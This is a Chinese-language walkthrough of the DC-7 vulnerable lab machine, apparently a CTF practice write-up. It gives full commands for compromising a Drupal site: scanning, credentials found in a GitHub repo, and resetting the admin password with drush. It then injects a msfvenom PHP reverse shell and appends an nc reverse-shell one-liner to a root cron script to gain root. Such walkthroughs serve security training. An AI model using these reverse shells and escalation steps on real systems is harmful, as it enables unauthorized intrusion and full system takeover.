DC7_靶场实战
一.环境介绍
虚拟机平台:VMware Workstation Pro
攻击机:Kali2017(IP:10.10.10.133)
靶机:DC-7(IP:10.10.10.134)
二.信息收集
2.1 发现主机
arp-scan -l
2.2 使用nmap扫描主机
查看端口和服务
nmap -sS -A -p- -T4 10.10.10.134
三.漏洞挖掘与利用
查看robots.txt,没有发现可利用的东西
在firefox打开10.10.10.134,发现网站是由Drupal框架搭建的,访问80端口,发现是Drupal框架。第一时间想到MSF,搜索drupal,利用几个最新的模块后都没能成功拿到shell。
回到网页发现Drupal是被DIY过的,重点看首页的footer部分,也就是网页的最下方的黑色区域,靶机的除了"Powered by Drupal",还多了一个"@DC7USER"。谷歌搜索"@DC7USER",看有什么发现。
这里本来想选Twitter的,但是打不开,选择第一个进入GitHub寻找源码
看到staffdb,点进去发现有可利用源码
选择config.php,查看发现数据库的账号密码
用户名:dc7user
密码:MdR3xOgB7#dW
试试能不能登录网站后台,结果不行。尝试用该账号密码登录网站后台无果,尝试登录ssh成功
ssh dc7user@10.10.10.134
四.提权
查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。
cat backups/
如果当前用户有脚本的写入权限,那么应该就可以提权了。查看权限发现www-data和root用户才能修改,所以我们需要拿到网站的shell。
ls -l
进入/opt/scripts目录下查看backups.sh的内容
dc7user@dc-7:/opt/scripts$ cat backups.sh
发现drush、gpg两个陌生的命令,其中drush是专门用来管理Drupal站点的shell,可以用来修改密码网站默认都会有一个admin账号,因此可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功。
drush user-password admin --password="123456"
用该账号admin,密码123456登录网站后台,在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。但是从下图中可以看到Text format里面没有PHP code选项。这些都弄好了之后,在kali上监听端口,最后点击Preview按钮。
这里发现没有PHP code,原来出于安全考虑,PHP Filter已经从Drupal核心中移除,后续作为一个module存在,可以通过手动安装。选择URL并点击install
URL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击install后再点击添加新的模块
根据提示启用PHP Filter模块添加成功后的界面
随后在Content中添加webshell.php,点击Content > Add content > Basic page,先将Text format修改为PHP code,再写入反弹shell
可以直接msfvenom生成一个反弹shell代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=4444 R > DC7_shell.php
复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Preview
msfconsole
use exploit/multi/handler
set lhost 10.10.10.133
set lport 4444
run
点击Preview后反弹成功,接着进入交互shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.133 1234 >/tmp/f" >> backups.sh
然后在kali中监听相应端口,等待计划任务的执行,执行后便获得rootshell,接着进入交互shell
nc -lvnp 1234
shell
python -c "import pty;pty.spawn('/bin/bash')"
拿下flag
因为记错了kali的ip地址在反弹shell的时候卡了好久,希望大家在做靶机能顺利通关,有所收获,谢谢您的观看,希望这对您会有帮助。